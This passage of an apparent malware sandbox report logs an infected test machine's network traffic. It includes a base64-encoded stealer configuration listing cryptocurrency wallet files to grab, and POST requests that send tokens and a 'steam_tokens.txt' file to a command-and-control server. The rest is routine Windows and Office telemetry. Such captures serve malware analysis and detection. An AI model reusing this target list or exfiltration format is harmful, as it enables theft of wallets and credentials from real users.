Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 30, 2024 11:45:48.709068060 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIECBAFBFHIJKFIJDAK Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------FHIECBAFBFHIJKFIJDAKContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------FHIECBAFBFHIJKFIJDAKContent-Disposition: form-data; name="message"files------FHIECBAFBFHIJKFIJDAK--
Oct 30, 2024 11:45:48.989397049 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 11:45:49.006428003 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIJDAFBKFHIDGCFBFC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="file"------AEHIJDAFBKFHIDGCFBFC--
Oct 30, 2024 11:45:49.781621933 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 11:45:49.811605930 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 2d 2d 0d 0a Data Ascii: ------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="message"ybncbhylepme------DAAFIIJDAAAAKFHIDAAA--
Oct 30, 2024 11:45:50.092201948 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 11:45:50.093327045 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCAAEGDBKJJKECBKFHC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 2d 2d 0d 0a Data Ascii: ------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AFCAAEGDBKJJKECBKFHC--
Oct 30, 2024 11:45:50.869910955 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49710	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:07 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 47 4b 64 35 4b 79 68 4b 64 6b 4f 77 49 44 48 45 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 65 39 30 33 34 36 63 63 63 38 38 66 63 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: GKd5KyhKdkOwIDHE.1Context: 9de90346ccc88fcb
2024-10-30 10:45:07 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-30 10:45:07 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 47 4b 64 35 4b 79 68 4b 64 6b 4f 77 49 44 48 45 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 65 39 30 33 34 36 63 63 63 38 38 66 63 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 36 2f 44 45 31 41 61 30 47 44 2f 76 37 30 55 2b 58 54 48 4f 5a 43 34 42 54 66 30 78 57 79 6c 64 42 51 4b 4f 46 6a 62 32 30 34 6b 2b 6d 35 4a 64 67 71 2f 41 66 4e 43 56 62 70 4d 67 76 75 6d 35 72 47 61 4b 68 47 62 36 67 4b 4d 67 6f 72 59 78 2f 43 46 58 55 4f 41 4a 4d 52 61 7a 77 50 31 52 53 53 76 7a 70 70 71 34 50 6f 63 55 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: GKd5KyhKdkOwIDHE.2Context: 9de90346ccc88fcb<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAc6/DE1Aa0GD/v70U+XTHOZC4BTf0xWyldBQKOFjb204k+m5Jdgq/AfNCVbpMgvum5rGaKhGb6gKMgorYx/CFXUOAJMRazwP1RSSvzppq4PocU
2024-10-30 10:45:07 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 47 4b 64 35 4b 79 68 4b 64 6b 4f 77 49 44 48 45 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 65 39 30 33 34 36 63 63 63 38 38 66 63 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: GKd5KyhKdkOwIDHE.3Context: 9de90346ccc88fcb<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-30 10:45:08 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-30 10:45:08 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 33 67 50 70 43 6b 32 6c 61 55 61 65 52 4a 66 64 72 53 6c 68 5a 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 3gPpCk2laUaeRJfdrSlhZQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49711	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:13 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:13 UTC	561	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:13 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104513Z-17fbfdc98bbwmxz5amc6q625w00000000400000000001sq5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:13 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-30 10:45:13 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-30 10:45:14 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-30 10:45:14 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-30 10:45:14 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-30 10:45:14 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-30 10:45:14 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-30 10:45:14 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
